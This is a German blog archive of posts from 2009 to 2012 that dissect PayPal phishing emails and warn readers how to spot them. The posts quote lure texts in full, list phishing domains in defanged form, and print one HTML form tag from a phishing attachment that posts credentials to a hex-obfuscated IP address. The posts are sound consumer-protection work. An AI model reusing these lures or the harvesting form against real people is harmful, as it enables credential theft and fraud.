Schlagwortarchiv „PayPal“

Warnhinweis: PayPal-Phishing

Mittwoch, 14. März 2012

Im Moment kommen hier eine ganze Menge englischsprachige Phishing-Spams für PayPal-Nutzer an, die als (gefälschten) Absender service (at) paypal (punkt) com eingetragen haben. Diese Spams haben variierende Texte und sind auffallend stilsicher formuliert. Wenn sie durch den (hoffentlich vorhandenen) Spamfilter kommen, können sie wegen des Absenders von der Mailsoftware in einen Ordner mit echten Mails von PayPal einsortiert werden.

Wenn sie eine Mail „von PayPal“ bekommen haben, die von Unregelmäßigkeiten in ihrem PayPal-Konto spricht: Keine Panik! Die Mail kommt mit an Sicherheit grenzender Wahrscheinlichkeit nicht von PayPal.

Es ist immer noch recht einfach, die Phishing-Versuche zu erkennen.

PayPal spricht seine Kunden immer namentlich an, die Spams kommen aber mit einer unpersönlichen Ansprache.
Der Link geht nicht auf die PayPal-Website. Das sieht man, wenn man beim Überstreichen des Links mit dem Mauszeiger in die Statusleiste seiner Mailsoftware schaut.
Die Begründungen, dass man etwas „verifizieren“ muss, weil PayPal irgendwelche nicht näher bezeichnete Auffälligkeiten bemerkt haben will, sind hanebüchen und sollen vor allem technisch weniger versierte PayPal-Nutzer verunsichern.

Also nochmal: Keine Panik!

Bei Webdiensten, bei denen es um „richtiges Geld“ geht: Niemals auf einen Link in einer Mail klicken, sondern immer die Adresse von Hand in die Adressleiste des Browsers eingeben! Egal, wie überzeugend diese Mail aussieht, und unabhängig davon, ob man persönlich angesprochen wurde oder nicht. Mit dieser sehr einfachen Vorsichtsmaßnahme kann man wirksam verhindern, dass man in einem Moment der Verunsicherung Zugangsdaten in die Hände von Kriminellen gibt – und das kann einem eine Menge Ärger und Geld sparen.

Wer für PayPal (und vergleichbare Dienste) eine eigens eingerichtete Mailadresse benutzt, die an keiner anderen Stelle angegeben wird, baut eine wichtige zusätzliche Sicherung ein, da eine solche Mailadresse nicht so leicht in die Datenbanken der Spammer geraten kann. Das ist unbedingt empfehlenswert – hilft aber nur, wenn man bei Mails „von PayPal“ auch einen Blick darauf wirft, an welche Mailadresse sich die Nachricht richtet.

Gegen Phishing hilft keine Software. Gegen Phishing gibt es nur ein Mittel: Vernunft.

Deshalb: Niemals in Panik versetzen lassen, niemals unüberlegt in eine Mail klicken, niemals so handeln, wie es die Spammer am liebsten hätten.

Vernunft ist kostenlos, und jeder ist mit der Möglichkeit zur Vernunft ausgestattet.

Unvernunft kann schnell verdammt teuer werden.

Keine Chance den Phishern!

Account Review Department

Freitag, 17. Februar 2012

Oh, wie schön, „PayPal“ schreibt mir mal wieder. Zumindest nennt sich der Absender so, aber seine gefälschte Mailadresse accounts (at) intl0 (punkt) payel (punkt) com kann nicht den Eindruck erwecken, dass es wirklich PayPal ist. Hey, Phisher! Wenn du mit deinem Skript schon Mailadressen fälschen kannst, dann schreib da doch die richtige Domain von PayPal rein!

Ach, du befürchtest, dass dann Rückläufer beim richtigen PayPal landen, dass man dort aufmerksam wird und möglicherweise die Kunden in einer Rundmail vor deinem Betrugsversuch warnt? Na, das verstehe ich ja noch.

Aber das du zu glauben scheinst – ich meine ja nur: wenn du schon einen Namen zur Mailadresse angibst – dass der Betreff einer Mail nicht dafür da ist, kurz zu sagen, um was es überhaupt geht, sondern vielmehr dazu, reinzuschreiben, aus welcher Abteilung die Mail kommt… komm Spammer, das ist wirklich schwach! So etwas macht niemand. Weil es sinnlos ist. So etwas wirst du niemals sehen. So etwas erweckt einen klaren Verdacht, bevor man auch nur irgendetwas anderes in der Mail gesehen hat. Du kriegst vermutlich nicht so oft geschäftliche Mails, ne?!

Thursday, February 16th, 2012

Immerhin, wenigstens eine zutreffende und wahre Angabe steht in der betrügerischen Spam. Das ist nicht selbstverständlich. 😀

Recently, our system has detected unusual charges to a credit card linked to your PayPal account.

Auf eine persönliche Anrede des Kunden wird ebenso verzichtet wie auf die Angabe der betroffenen Kreditkartennummer – zwei Dinge, die das richtige PayPal vermutlich mitteilen würde, wenn PayPal so etwas mit einer Mail mitteilte.

Access to your account was limited for the following reason:

There are activities of which someone tried to access your PayPal account without your permission. To ensure greater security, we have limited access to your account.

Aber wenn ich eine Kreditkarte oder ein Bankkonto mit einem PayPal-Konto verbunden habe, habe ich das doch selbst gemacht. Das richtige PayPal hat sich dafür ein „tolles“ Verfahren ausgedacht, bei dem zwei geringwertige Transaktionen getätigt werden, deren Höhe man in einem Formular auf der PayPal-Site eintragen muss. So wird sichergestellt, dass das Konto richtig angegeben wurde, und zwar vom Menschen, der da Zugriff auf die PayPal-Verwaltung hat. Jemand anders kann das gar nicht. Weil es nicht möglich ist. Deshalb ist es ja auch nicht geschehen, es wird hier nur behauptet, um ein Problem in den Raum zu stellen und den Empfänger zu erschrecken, damit er möglichst wenig vor den folgenden Schritten nachdenkt. Denn er soll natürlich seine Zugangsdaten an Verbrecher übergeben, damit diese damit betrügerische Geschäfte machen können.

Und hier die tolle Gelegenheit, Verbrechern Zugriff auf die Kreditkarte und das PayPal-Konto zu geben:

We have sent you an attachment which contains all the necessary steps in order to restore your account access. Please download and open it in your browser.

Ein Attachment, das also schon mit der Mail mitgekommen ist, soll ich also runterladen. Großes Kino mal wieder.

Es handelt sich übrigens um eine HTML-Datei, die folgendermaßen aussieht:

Etwas lustig ist es ja schon, dass es hier keine Spur um PayPal geht, sondern nur um die persönlichen Daten (die PayPal bereits bekannt sind, aber eben nicht den Betrügern, sonst hätten sie überzeugender formuliert) und – im Bild nicht sichtbar – die Kreditkartennummer, ihr Ablaufdatum und die verification number. Tolle Daten für eine betrügerischen Missbrauch der Identität und ein paar Bezahlvorgänge mit anderer Leute Kreditkarten bei Betrugsgeschäften. Jedenfalls für die Verbrecher, die diese Daten bekommen. Denn natürlich gehen die Eingaben in dieses Formular nicht an PayPal, sondern an die folgende Internetadresse mit ausgesprochen beachtlicher Domain:

http (doppelpunkt) (doppelslash) kcdcylykuzszutdhgpdfkzwuridgzxjhwjilletzpexsgallti (punkt) spteiqnaskqliliasnqxikcmenmn (punkt) ru (slash) (tilde) jeremy (slash) sslchecker (punkt) php

Ich befürchte, dass diese großartige Domain, die vermutlich von einem auf die Tastatur herumkloppenden Pavian im Zustand fortgeschrittener Hirnverkäsung registriert wurde, hier nicht korrekt dargestellt wird, sondern mit ein paar zusätzlichen Leerzeichen dazu gezwungen wird, nicht das Layout zu zerstören. Aber dass es sich nicht um PayPal handelt, dürfte auch so klar sein… 😉

Das der Text „Secure Transaction“ zusammen mit dem Schloss keineswegs bedeutet, dass die Daten über HTTPS übertragen werden, erklärt sich von selbst.

Ein Kleiner Schlenker in die angehängte HTML-Datei. Hier haben die Phisher sehr „einfallsreich“ kommentiert, vermutlich, weil sie davon ausgehen, dass vielleicht doch mal jemand einen Blick in den Quelltext werfen könnte. Einen HTML-Kommentare in seiner unerreichten literarischen Qualität möchte ich nicht vorenthalten – wer das zu technisch findet, einfach überlesen. Die Kommentarzeichen lasse ich im folgenden Zitat weg, um den Genuss nicht vom Wesentlichen abzulenken (und mich vom Tippen der HTML-Entities abzuhalten):

PayPal Verification System Destinated Only For Locked Accounts

Na, wenn das im Anhang einer Spam steht, muss es ja wohl stimmen… 😀

Wirklich „schön“, dass hier wirklich für jeden Leser ein bisschen was geschrieben wurde.

Aber wieder zurück zur Spam:

(The locator for this issue is PP-388-572-660)

Diese Angelegenheit befindet sich in der Unimatrix Zero.

We thank you for your prompt attention to this matter. Please understand that this is a security measure intended to protect you and your account. We apologise for any inconvenience.

Zum Abschluss bedanken sich die Betrüger noch einmal, dass es immer wieder Leute gibt, die so angstdoof und unerfahren sind, dass sie auf Phishing reinfallen, obwohl das nicht gerade die neueste Masche ist. Natürlich handelt es sich um eine reine Sicherheitsmaßname, nur zum Besten des Opfers und seines Kontos. Eine kleine Entschuldigung wird auch druntergeklatscht.

Thank you,
PayPal Account Review Department

Nochmal vielen Dank von
Deinen Phishing-Stümpern

Your account has been limited until we hear from you

Donnerstag, 6. Oktober 2011

Oh toll, eine Mail mit dem Absender service (at) paypal (punkt) com, die ist ganz bestimmt echt. Versendet wurde sie über den angemieteten Server eines niederländischen Hosting-Providers – freundlicherweise hat dieser den Vertrag bereits fristlos wegen Missbrauchs gekündigt. Hoffentlich hat er Vorkasse genommen.

Die Mail ist HTML-formatiert und kommt in einem zweispaltigen Design daher, das ich hier nicht wiedergebe.

Information Regarding Your account:
Dear PayPal Member:

Du bist zwar bei uns Kunde, aber wir kennen deinen Namen nicht.

Attention! Your PayPal account has been limited!

Sei alarmiert und handele möglichst ohne weiteres Nachdenken! Das ist besser für die spammenden Kriminellen.

As part of our security measures, we regularly screen activity in the PayPal system.We recently contacted you after noticing an issue on your account.We requested information from you for the following reason:

Our system detected unusual charges to a credit card linked to your PayPal account.

Wir wissen nicht, dass man ein Leerzeichen nach einem Punkt setzt. Wir haben dich, den wir nicht namentlich ansprechen können, vor kurzem kontaktiert. Wegen einer… ähm… einer Angelegenheit. Irgendwas Ungewöhnliches mit einer Kreditkarte. Wir können dir, Namenloser, auch nichts Näheres dazu sagen.

Stattdessen…

Reference Number: PP-259-187-991

…bekommst du eine sinnfreie Nummer.

This is the Last reminder to log in to PayPal as soon as possible. Once you log in, you will be provided with steps to restore your account access.

Also handele so schnell wie möglich. Das ist die letzte Aufforderung, Namenloser. Nachdem du dich eingeloggt hast – natürlich nicht auf der richtigen Website von PayPal, sondern auf der Website von Betrügern – sagen wir dir, was du zu tun hast. Ist eigentlich egal. Hauptsache, wir haben erstmal deine Zugangsdaten. Und damit wir die auch kriegen…

Click here to activate your account

…geben wir dir einen tollen Link.

Der geht übrigens nicht zu paypal (punkt) com, sondern zur episch langen Domain paypal (punkt) com (punkt) cgi (strich) bin (punkt) webscr (punkt) cmd (punkt) login (punkt) submit (punkt) dispatch (punkt) [MD5-Hash der Empfängeradresse, damit die Spammer wissen, dass die Spam ankommt] (punkt) xcvrytuj (punkt) com, was nur auf den nullten Blick wie ein Pfad auf der PayPal-Website aussieht. Die tolle Domain xcvrytuj (punkt) com hat jemand über dyndns (punkt) com eingerichtet, der lieber seine Anschrift nicht in einer Whois-Abfrage sehen möchte; sie kann so auf beliebige Rechner im Internet (auch mit Schadsoftware übernommene Privatrechner) umgeleitet werden.

We thank you for your prompt attention to this matter. Please understand that this is a security measure intended to help protect you and your account. We apologise for any inconvenience..

Wir bedanken uns dafür, dass du alarmiert bist und ohne größeres Nachdenken deine Zugangsdaten an organisiert Kriminelle im Internet gibst. Bitte halte das für eine Sicherheitsmaßnahme. Wir tun auch höflich und entschuldigen uns ein bisschen für die kleine Unannehmlichkeit. Hauptsache, du fällst rein.

Sincerely,
PayPal Account Review Departent

Diese Spam wurde automatisch erstellt und ist ohne Unterschrift gültig.

Copyright ©1999-2011 PayPal. All rights reserved. PayPal Ltd. PayPal FSA
Register Number: 226056.
PayPal Email ID PP059

Natürlich hat jede Mail ein Copyright. Urheber dieser Drecksmail ist allerdings nicht PayPal, sondern eine kriminelle Bande.

Und damit es noch schmackhafter wird, stehen auf der rechten Seite ein paar Sicherheitshinweise:

Protect Your Account Info
Make sure you never provide your password to fraudulent websites.

Außer in diesem Fall, bitte.

To safely and securely access the PayPal website or your account, open a new web browser (e.g. Internet Explorer or Netscape) and type in the PayPal login page (http://paypal.com/) to be sure you are on the real PayPal site.

In der Tat, das ist eine gute Idee gegen das Phishing. Passt nur nicht zum Klickmichhier-Link auf der linken Seite. Macht aber nichts, weil das eh keiner liest. Damit auch niemand auf die Idee kommt, kann man da nicht draufklicken.

For more information on protecting yourself from fraud, please review our Security Tips at https://www.paypal.com/us/securitytips

Diese URL haben die Verbrecher auch lieber nicht verlinkt. Es könnte kontraproduktiv sein…

Protect Your Password
You should never give your PayPal password to anyone.

In der Tat, das sollte man niemals niemals tun. Schon gar nicht, weil eine Phishing-Mail im Postfach ist, die nicht einmal mit einer namentlichen Anrede daher kommt.

This account has been locked !

Donnerstag, 15. Juli 2010

Im Moment kommt wirklich einiges an PayPal-Phishing. Die folgende Mail sagt in ihrem gefälschten Absender, dass sie von „PayPal Center Security Inc“ kommt – und der wirkliche Absender denkt wohl, dass so ein Wortdreher bei den Opfern gar nicht weiter auffallen wird. Auch der Rest der Mail ist eher… ähm… mies und peinlich, fast schon zum fremdschämen.

Dear Members,

Aha, ein einzelner Empfänger wird also nicht nur nicht mit Namen, sondern auch noch im Plural angesprochen. Und dass es sich bei PayPal wohl eher um „Kunden“ als um „Mitglieder“ handelt – geschenkt! Da fragt man sich nur…

This account has been locked with a €-89.00 EUR balance.

…ob PayPal wohl an alle Kunden mit den gleichem Kontostand einfach eine Rundmail abschickt. Kleiner Tipp: Das tun die nicht. Diese Mail ist nicht von PayPal, es ist eine Spam. Diese will ihre Empfänger hübsch alarmieren, damit sie etwas weniger aufmerksam in der Internetnutzung sind und zum Opfer der Verbrecher werden können. Dazu dient nicht nur ein Kontostand, der dezent in die Miesen abgerutscht ist, sondern…

All information associated with this account has been blocked from the PayPal system and cannot be registered with another account.

…auch der Hinweis, dass dieses Konto jetzt gesperrt ist. Und natürlich auch, dass man nichts machen kann, um sich erneut anzumelden. Das einzige, was einem verbleibt, ist der dumme Klick…

To unlock your account please click here.

…auf den dümmsten Standardlinktext in Spams, auf die Worte „click here“, die in einem Text gnadenlos sinnlos wirken und von keinem einigermaßen um sein Ansehen bedachten Unternehmen verwendet werden würden. Dieser Text – der bei mir übrigens immer zu einer Spamerkennung führt – ist denn auch kein Link auf die Website von PayPal, sondern er führt zum Server bluemettle (punkt) com (punkt) au und ruft dort eine Datei mit dem „hübschen“ Namen POSTER-2.htm ab. Das wirkt dann schon weniger vertrauenerweckend und sieht aus, als hätte jemand die Upload-Funktion einer Website für seine kriminellen Absichten ausgebeutet.

Was einem dort begegnen wird, ist eine Seite, die aussieht, als könne man sich bei PayPal einloggen. Die dort angegebenen Zugangsdaten gehen aber nicht zu PayPal, sondern sie fallen in die Hände von Verbrechern.

Thank You

Vielen Dank für diese Stümpereien, ihr Ganoven – denn das hält den Schaden hoffentlich klein.

Ihr Paypal-Konto wurde gesperrt

Mittwoch, 14. Juli 2010

Ach, schon wieder…

Sehr geehrter PayPal Nutzer,

Wie üblich, sind die Phisher nicht dazu imstande, den Empfänger beim Namen anzusprechen. PayPal ist dazu sehr wohl imstande und macht das immer. Schon die erste Zeile reduziert die Panik, die diese Phisher zu gern auslösen würden, um jemanden zu einer unüberlegten Tat zu bewegen.

kurzlich haben wir eine Abweichung bei Ihrem Konto festgestellt.

Auch über den Charakter der „Abweichung“ erfährt der Empfänger nichts näheres in dieser wenig einfallsreichen Mail. Nur darüber…

Wir haben den Grund zur Annahme, dass ein Dritter auf Ihr Konto zugegriffen hat. Wir haben den Zugriff auf PayPal-Kontofunktionen fur den Fall beschrankt, dass durch einen nicht autorisierten Dritten auf Ihr Konto zugegriffen wurde. Uns ist bewusst, dass der eingeschrankte Zugriff Nachteile mit sich bringt, der Schutz Ihres Kontos ist jedoch unser Hauptanliegen.

…dass möglicherweise jemand anders das Konto „übernommen“ hat. Und da es da um Geld geht, ist eine leichte Panik garantiert, wenn man einen solchen Text liest. Und aus dieser leichten Panik heraus soll das Opfer denn folgendes tun:

Wir haben den Zugriff auf Ihr Konto kurzzeitig eingeschrankt. Die Einschrankung wird uberpruft, wenn wir die angeforderten Informationen von Ihnen erhalten.

Um auf die Einschrankung zu reagieren und sie zu beheben, verwenden Sie bitte die folgende Seite:

http://www.paypal.com/de/verification?do

Es handelt sich allerdings um eine HTML-formatierte Mail, und der Link geht keineswegs zu PayPal, sondern auf den viel weniger Vertrauen erweckenden Server tunalikartus (punkt) com. Dort bekommt das Opfer dann die folgende, „liebevoll“ nachgestaltete PayPal-Seite zu sehen und soll seine Zugangsdaten eingeben:

Wer das tut, hat verloren. Diese Daten gehen nicht etwa zu PayPal, sondern geraten in die Hände der Schurken, die hier versuchen, so zu tun, als seien sie PayPal. Und diese Schurken werden damit etwas anzufangen wissen, was dem Kontoinhaber gar nicht gefallen kann.

Ihr PayPal-Team

Dass PayPal mit dieser Mail nichts zu tun hat, sollte klar sein.

Hilfe-Center | Sicherheits-Center

Die Gangster haben sich nicht einmal die Mühe gemacht, diese beiden Wörter zu verlinken.

Copyright © 1999-2009 PayPal. Alle Rechte vorbehalten.

PayPal (Europe) S.a r.l. & Cie, S.C.A.
Societe en Commandite par Actions
Sitz: 22-24 Boulevard Royal, L-2449 Luxemburg
RCS Luxemburg B 118 349
PayPal E-Mail-ID PP1263

Ich wiederhole es oft, aber man kann es gar nicht oft genug wiederholen: Niemals auf einen Link in einer Mail klicken, die von einem Unternehmen kommt, bei dem man Kunde ist, wenn man in dieser Mail nicht mit Namen angesprochen wird! Das sind immer Betrugsversuche. Und selbst, wenn der Name in der Mail steht und wenn einem nichts an dieser Mail „spanisch“ vorkommt, bedeutet das noch lange nicht, dass man auf der sicheren Seite ist, vor allem, wenn es um Geld geht. Deshalb Internetadressen von Banken, Online-Auktionshäusern oder andere für Verbrecher attraktive Dienste immer im Browser aufrufen und niemals einem Link in der Mail folgen. Das gilt umso mehr, wenn die Mail einen alarmierenden Sachverhalt schildert, der dazu geeignet ist, den Empfänger in eine gewisse Panik zu versetzen. So ein Link kann wirklich sehr viel unauffälliger auf die falsche Website führen, als es in diesem Phishing-Versuch der Fall ist.

Hier war die Erkennung des Phishings einfach:

Es fehlte eine namentliche Anrede.
Die Mail kam ohne Umlaute, was sich ein Unternehmen bei Mails in deutscher Sprache niemals leisten würde.
Die Begründung für die „Sperrung“ des Kontos wirkt doch etwas lau.
Die Formulierungen sind mehr als unbeholfen. Kein Unternehmen würde in einem Stil wie „Die Einschrankung wird uberpruft, wenn wir die angeforderten Informationen von Ihnen erhalten“ mit seinen Kunden kommunizieren.
Der Link führt leicht erkennbar nicht auf die PayPal-Site, spätestens nach dem Klick wird in der Adresszeile des Browsers eine „seltsame“ Adresse sichtbar.

Aber so etwas kann man besser machen, und es ist davon auszugehen, dass die Kriminellen es auch irgendwann einmal besser machen werden. Deshalb immer die Augen offen halten, wenn „alarmierende“ Mails eine schnelle, unüberlegte Reaktion provozieren wollen. Phishing ist zu einem gewaltigen kriminellen Geschäft geworden, und es nicht nicht davon auszugehen, dass sich die Gauner eine weniger verwerfliche Form des Broterwerbes suchen werden, wenn sie in Zukunft mit steigender Aufklärung der Netznutzer immer weniger Geld ergaunern; vielmehr werden sie trotz ihrer unfassbaren Faulheit und Stumpfheit versuchen, die angewandten Methoden zu verbessern. Es ist immer ratsam, besonnen zu bleiben und nachzudenken, denn das kann vor großen finanziellen Schäden und sonstigen Ärger bewahren.

* Your account has been limited *

Dienstag, 22. Juni 2010

Ach, das Phishing ist wie das Unkraut, es kommt einfach immer wieder. Eine tolle Mail, die vorgibt, von den „PayPal Services“ mit Absender services (at) paypal (strich) services (punkt) com zu stammen. Na ja, im Absender kann ja immer vieles stehen.

Dear Customer,

Geehrter Kunde, den wir in einer persönlichen Mitteilung nicht beim Namen ansprechen können, obwohl PayPal natürlich einen Namen kennt…

Your account has been limited.
To remove the limitation please click here.

…wir haben mal eben ihr Konto ein bisschen eingeschränkt. Und wenn sie wissen wollen, werter Kunde, dessen Namen wir nicht zu kennen scheinen, warum wir ihr Konto eingeschränkt haben, klicken sie bitte einfach mal auf den Link mit dem zwar etablierten, aber doch etwas dummen Text „click here“. Der führt auf eine Website, bei der man fast denken könnte, dass sie zu PayPal gehört, denn die Subdomains wurden von den Phishern extra so vergeben, dass dieser Eindruck entstehen kann. Der Server heißt allerdings redirection (punkt) paypal (punkt) com (punkt) filgkal (punkt) com, aber wir hoffen einfach mal, werter namenloser Spamempfänger, dass sie darauf hereinfallen, brav ihr Passwort eingeben und den Phishern ein hübsches neues PayPal-Konto schenken, über das sie ihre betrügerischen Geschäfte machen können.

Thank You.

Diese Spam wurde maschinell erstellt und kommt ohne Anrede und ohne eine Spur von Höflichkeit aus. Dass jeder PayPal-Kunde wissen sollte, dass er in solchen Mail immer namentlich und in seiner Muttersprache angsprochen wird, interessiert die Kriminellen nicht weiter. Es reicht ja, wenn ein paar Handvoll Leute auf die alarmierende Nachricht hereinfallen und ihre Passwörter rausrücken, und schon gibt es wieder eine Menge toller Möglichkeiten für betrügerische Geschäfte aller Art. Hoffentlich ist diese Nummer plump genug, dass keiner darauf hereinfällt.

PayPal .INC

Mittwoch, 11. November 2009

Das ist ja ein gnadenlos doofer Betreff! Gehts noch?!

To make sure everything is in order, please download the PayPal Security Account Verification and fill in all the required data for verfication.

Und dazu gibt es eine gnadenlos doofe Nachricht. Ohne Anrede, ohne Gruß, ohne alles, was auch nur entfernt nach glaubwürdiger Kommunikation von PayPal aussieht – stattdessen mit der Aufforderung, sich eine Kontobestätigung zur Sicherheit „runterzuladen“. Nun, dass dazu kein Link steht, ist gut verständlich, denn da ist noch etwas an die Mail angehängt. Dieser Spammer ist mit seinem Phishing-Versuch so brettmorsch hirnfraßmäßig doof, dass er nicht einmal den Unterschied zwischen einem Anhang und einem Link zum Download kennt. Leider hält ihn das nicht davon ab, ein paar Millionen Drecksspams durch das Netz zu bewegen.

Ach ja, das angehängte Dokument ist eine HTML-Datei mit dem schönen Namen PayPal Security Account Verification.html. Wer darauf klickt (so etwas macht man nur mit einem besonders gesicherten System), darf sich über den folgenden Anblick freuen:

[Wer sich darüber wundert: Die Titelgrafik wird aus dem Internet von PayPal nachgeladen, aber der System, mit dem ich solche Drecksdateien betrachte, hat keine Verbindung zum Internet. Deshalb fehlt die Grafik im Titelbereich.]

Aber es glaube bitte niemand, dass die eventuell dort eingegebenen Daten zu PayPal gehen, nein, sie gehen [es folgt ein Quelltextausschnitt]…

<FORM METHOD="POST" ACTION="http://0xD5.0xC3.0xDF.0xA9/paypalverification.php/" name="Form_1">

…an ein Skript auf einen Rechner mit der IP-Adresse 213.195.223.169; und der Spammer will diesen Fakt recht fragwürdig hinter einer eher unüblichen sedezimalen Schreibweise verbergen. Im Gegensatz zu PayPal hält dieser stümpernde Verbrecher auch nichts von einer sicheren Verbindung über HTTPS.

Oder anders gesagt: Wer in einer Mail „von PayPal“ einen Anhang „zum Ausfüllen“ findet, sollte sich bitte hüten, wenn er nicht eine Verbrecherbande reich machen will.

Und ja, wenn PayPal wirklich einmal schreibt, denn immer mit einer persönlichen Anrede, aber dafür ohne…

We recently noticed one or more attempts to log in to your PayPal account from a foreign IP address and we have reasons to believe that your account was hijacked by a third party without your authorization. If you recently accessed your account while traveling, the unusual log in attempts may have been initiated by you.

…irgendwelche hingeschmierten Schwammigkeiten, die nichts belastbares aussagen, aber damit ordentlich Alarmstimmung beim Empfänger auslösen sollen.

Phishing: Lieb PayPal Customer

Freitag, 16. Oktober 2009

Das hatten wir heute schon einmal, wenn auch mit weniger peinlichem Betreff.

Warnung Notification

Klar doch, so etwas kommt immer in der falschen Sprache und ohne persönliche Anrede, denn PayPal hat kein Interesse an irgendeiner Kundenpflege. Allein das ist ein deutliches Indiz, dass man es mit einer Mail von Betrügern zu tun hat. Hier kann man es noch an gewissen anderen – ähm – Schwächen bemerken, aber so massiv, wie gerade die Phishing-Spams hier reinkommen, wird der Text wohl morgen schon ausgereift sein. Dass jemand auf dieses Geschreibsel reinfällt, erscheint mir ja schon unglaublich:

Lieb PayPal Costumer,

Es ist uns nicht entgangen, dass dein PayPal® account-Informationen muss im Rahmen der Aktualisierung unserer anhaltendes Engagement fьr Ihr Konto zu schьtzen und zu reduzieren der Fall von Betrug auf unserer Website. Wenn Sie kцnnten Bitte nehmen Sie sich 5-10 Sie wird nicht ausgefьhrt, in Zukunft keine Probleme mit der Online – Dienst.

Jedoch nicht aktualisiert Ihre Eintrдge werden auf dem Konto Ergebnis Suspension. Bitte aktualisieren Ihre Eintrдge vor Oktober 08, 2009.

Sobald Sie aktualisiert haben Ihre Konto werden Ihre PayPal® Kontobewegungen nicht unterbrochen werden und wird wie gewohnt weiter.

Klicken Sie auf Hier aktualisieren Sie Ihr PayPal-Konto Informationen

Der Link geht mal wieder auf ein gehacktes Forum. Und für jene, die ganz neugierig sind, zeige ich jetzt mal, wie es aussieht, wenn man da draufklickt – mit einem besser formulierten Text könnte ein erheblicher Teil der naiveren PayPal-Kunden auf den fiesen Betrug dieser Phisher reinfallen.

Der Klick führt auf eine HTML-Datei, die bei einem gehackten Forum über eine Sicherheitslücke hinterlegt wurde. Diese Seite selbst enthält nur eine Weiterleitung auf clan punkt barabaka punkt biz / ts / webscr.php mit den GET-Parametern cmd = _login-run und dispatch mit einer endlos langen, base64-codierten Kennung, über welche die Spammer wahrscheinlich feststellen, dass ihr durch einen Hack hochgeladener Code noch aktiv ist und weiter mit Spam beworben werden kann.

Die hier für den Betrug verwendete Domain ist bei Manager Peterhost, ul Professora Popova 37B, St. Petersburg gehostet, als Registrar ist ein Sergey Khomenko ohne Anschrift aus der schönen großen Stadt Moskau eingetragen. Letzteres dürfte ein reiner Phantasiename sein. Der Hoster ist schon von mir angemailt worden, aber nach meinen bisherigen Erfahrungen mit russischen Hostern verspreche ich mir davon nichts, nicht einmal eine Eingangsbestätigung. Allerdings gehe ich davon aus, dass auch der Hoster ein Betrogener ist. Auch der Betreiber des gehackten Forums hat schon seine Mail und wird wahrscheinlich ein großes Eigeninteresse daran haben, dass dieser Müll von seinem Server verschwindet – aber auf dieser Seite ist das alles ein Kampf gegen Windmühlen, wahrscheinlich werden zurzeit tausende von gehackten Websites von diesen Verbrechern missbraucht.

Mal so am Rande gefragt: Wo ist eigentlich der Kampf gegen die Internet-Kriminalität? Ich bin überzeugt, dass ein Tätigwerden des BKA deutlich mehr Wirkung beim Hoster entfalten würde als die Mail eines Namenlosen ohne Wohnsitz aus dem fernen fernen Deutschland – vor allem, wenn dabei mit russischen Behörden zusammengearbeitet würde. Aber von einem „sicheren Internet“ redet man ja nur im Wahlkampf und wenn man den Menschen Zensur und andere Einschränkungen verkaufen will. Die wirkliche Kriminalität scheint allen Beteiligten gleichgültig zu sein, und deshalb werden immer wieder arglose Menschen um tausende von Euros abgezockt.

[Für Originalgröße der folgenden Screenshots die Vorschaubilder anklicken]

Wenn der gläubige PayPal-Kunde diesen Bildschirm sieht, kann ich nur hoffen, dass er auch auf die Adresszeile seines Browsers schaut und misstrauisch wird. Denn darin erscheint nicht die vertraute Domain paypal.com, sondern die Domain eines Betrügers. Es würde mich nicht wundern, wenn in kommenden Versionen des Betruges versucht würde, die Adresszeile des Browsers auszublenden.

WICHTIGER HINWEIS: Solche Internetadressen wie die einer Bank, eines Auktionshauses oder eines Dienstes zur Online-Bezahlung gibt man immer von Hand ein. Niemals auf einen Link in einer E-Mail klicken. Niemals auf die Lesezeichen (für IE-Freunde: Favoriten) des Browsers verlassen, diese sind für Kriminelle manipulierbar. Niemals mit administrativen Berechtigungen im Internet surfen, damit nicht unter Ausnutzung von Sicherheitslücken die Zuordnung der Domainnamen zu IP-Adressen manipuliert werden kann. Selbst mit solchen Vorkehrungen ist kein Computer unter keinem Betriebssystem völlig sicher, es gilt, unter allen Umständen aufmerksam zu bleiben. Keine Sicherheitssoftware kann bewusste Vorsicht und Aufmerksamkeit ersetzen.

Wenn ein argloser Anwender hier seine Mailadresse und sein PayPal-Passwort eingegeben hat (ich habe hier ein paar mit Schimpfwörtern gesalzene Phantasiedaten genommen, um den Datenbestand der Kriminellen ein wenig zu verseuchen), geht es nicht gleich weiter, sondern es wird eine Fehlermeldung angezeigt, dass man sich mit falschen Daten angemeldet hat:

Erst, wenn man zwei Mal nacheinander die gleiche Eingabe gemacht hat, geht es weiter. Diese Verbrecher wollen als einen ganz sauberen Datenbestand haben und sich nicht weiter mit Tippfehlern herumschlagen, wenn sie die Bankkonten anderer Leute für ihre betrügerischen Geschäfte plündern. Die wollen so wenig zeitlichen Aufwand wie nur irgend möglich dafür betreiben, dass sie ihre Betrugsgeschäfte durchziehen.

Nach dem Einsammeln der PayPal-Anmeldedaten haben diese Bastarde schon einen großen Schritt gemacht und könnten eigentlich unter irgendeinem Vorwand abbrechen – ein komplettes PayPal-Konto stünde ihnen bereits zur Verfügung. Aber die werden auch daran nicht satt und treiben es noch ein bisschen bunter, denn nach erfolgreicher Anmeldung…

…erhält man nicht etwa die gewohnte Kontenübersicht (obwohl genau das noch in der Überschrift steht), sondern ein Formular für „Bestatigen Mein Konto.“ (in genau dieser Schreibweise). Wenn man diese Eingabemaske sieht, ist es eigentlich schon zu spät, aber der Schaden lässt sich jetzt noch beliebig verschlimmern. In diesem tollen Formular kann man nämlich einen kompletten Datensatz über sich selbst an die hochkriminellen Spammer geben, einschließlich Anschrift und Geburtsdatum und Nummer des Ausweises (Numero von CIN ist aber nicht gerade deutsch). Das sind Daten, über die sich jeder Kriminelle freut, wenn er seine ganz besonderen „Geschäfte“ machen will.

Also bitte niemals niemals niemals auf ein Phishing reinfallen.

In jeder echten Mail der Bank, von PayPal oder jedem anderen Unternehmen, bei dem man Kunde ist, wird man persönlich angesprochen – und es wird hoffentlich auch überall darauf hingewiesen, dass man die Internetadresse von Hand eingeben soll. Und selbst, wenn eine Mail mit persönlicher Ansprache kommt, sollte man skeptisch bleiben, denn die Verbrecher kommen immer wieder einmal an persönliche Daten – im Zweifelsfall zum guten, alten Telefon greifen und einfach einmal nachfragen. Dieses bisschen Vorsicht kann sehr viel Geld sparen.

Unser täglich Spam

Aus dem Internet frisch auf den Tisch. Köstlich und aromatisch.